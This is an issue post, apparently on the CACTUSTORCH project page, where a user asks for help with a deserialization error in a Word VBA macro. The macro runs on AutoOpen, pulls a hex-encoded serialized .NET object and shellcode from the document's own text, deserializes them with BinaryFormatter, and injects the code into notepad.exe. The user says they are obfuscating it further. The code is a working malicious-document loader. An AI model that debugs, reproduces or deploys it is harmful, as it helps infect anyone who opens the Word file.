Deserialization error

[vivami]

Hi Vincent,

Thanks for this awesome project. I'm trying to obfuscate the script a bit by extracting the code and serialized_obj variables from the text in the Word document. All the rest of the code is the same as your original code. All the variables seem to populate correctly, however, at Set d = fmt.Deserialize_2(stm) I'm getting the error:

Apparently it can't deserialize the binary.

I wouldn't normally reach out to you for such issues, but I've been pulling hair out of my head out of frustration. Hope you can identify the issue. Thanks a lot in advance!

Public binary As String
Public code As String

Sub Init()
    binary = "notepad.exe"
    code = getText("AAAAAA")
End Sub

Private Function getText(id)
    Dim res As String
    Dim par As String
    Dim i As Long
    iParCount = ActiveDocument.Paragraphs.Count
    For J = 1 To iParCount
        par = ActiveDocument.Paragraphs(J).Range.Text
        If InStr(par, id) Then
            res = par
        End If
    Next J
    getText = res
End Function

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.dataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.nodeTypedValue
End Function

Function Run()
    Dim entry_class, serialized_obj
    entry_class = "cactusTorch"
    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set al = CreateObject("System.Collections.ArrayList")

    serialized_obj = getText("00000000000")
    ' serialized_obj = "0001000000FFFFF..." 
    MsgBox Len(serialized_obj)
    ' Len(serialized_obj) = 17957
    Dim dec
    dec = decodeHex(serialized_obj)
    For Each i In dec
        stm.WriteByte i
    Next i
    stm.Position = 0
    
    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n
    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
    o.flame binary, code
    
End Function

Sub AutoOpen()
    Init
    Run
End Sub